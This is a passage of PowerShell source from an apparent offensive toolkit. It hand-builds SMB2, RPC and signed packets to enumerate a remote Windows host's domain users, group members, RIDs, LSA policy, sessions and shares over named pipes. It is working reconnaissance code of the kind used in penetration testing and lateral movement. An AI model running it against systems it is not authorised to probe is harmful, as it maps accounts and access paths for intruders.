$null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'Connect5' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRConnect5 $Target - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x40,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'CreateRequest' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2CreateRequestFile $named_pipe - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - catch - { - Write-Output "[-] Session connection is closed" - $stage = 'Exit' - } - - } - - 'EnumDomainUsers' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMREnumDomainUsers $SAMR_domain_handle - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x0d,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'GetMembersInAlias' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRGetMembersInAlias $SAMR_policy_handle - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0d,0x00,0x00,0x00 0x00,0x00 0x21,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'Logoff' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2SessionLogoffRequest - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'Exit' - } - - 'LookupNames' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRLookupNames $SAMR_domain_handle $Group - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x11,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'LookupRids' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRLookupRids $SAMR_domain_handle $RID_count_bytes $RID_list - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0b,0x00,0x00,0x00 0x00,0x00 0x12,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'LSAClose' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_LSARPC_data = New-PacketLSAClose $policy_handle - $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $step++ - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'LSALookupSids' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_LSARPC_data = New-PacketLSALookupSids $policy_handle $SID_array - $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'LSAOpenPolicy' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_LSARPC_data = New-PacketLSAOpenPolicy - $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x06,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'LSAQueryInfoPolicy' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_LSARPC_data = New-PacketLSAQueryInfoPolicy $policy_handle - $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x07,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'NetSessEnum' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SRVSVC_data = New-PacketSRVSVCNetSessEnum $Target - $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 1024 - $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'NetShareEnumAll' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SRVSVC_data = New-PacketSRVSVCNetShareEnumAll $Target - $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'OpenAlias' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMROpenAlias $SAMR_domain_handle $SAMR_RID - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0c,0x00,0x00,0x00 0x00,0x00 0x1b,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'OpenDomain' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMROpenDomain $SAMR_connect_handle $SID_count $LSA_domain_SID - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x07,0x00,0x00,0x00 0x00,0x00 0x07,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'OpenGroup' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMROpenGroup $SAMR_domain_handle $SAMR_RID - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'ParseLookupRids' - { - [Byte[]]$response_user_count_bytes = $client_receive[140..143] - $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) - $response_user_start = $response_user_count * 8 + 164 - $response_user_end = $response_user_start - $response_user_length_start = 152 - $response_user_list = @() - $response_username_list = @() - $response_user_type_list = @() - $i = 0 - - while($i -lt $response_user_count) - { - [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] - $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) - $response_user_end = $response_user_start + $response_user_length - [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] - $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) - [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] - - if($response_actual_count % 2) - { - $response_user_start += $response_user_length + 14 - } - else - { - $response_user_start += $response_user_length + 12 - } - - $response_user = [System.BitConverter]::ToString($response_user_bytes) - $response_user = $response_user -replace "-00","" - $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $response_user = New-Object System.String ($response_user,0,$response_user.Length) - $response_username_list += $response_user - $response_user_length_start = $response_user_length_start + 8 - $i++ - } - - $response_user_type_array_bytes = $client_receive[($response_user_end + 14)..($response_user_end + 13 + ($response_user_count * 4))] - $response_user_type_start = 0 - - for($i = 0; $i -lt $response_user_count; $i++) - { - 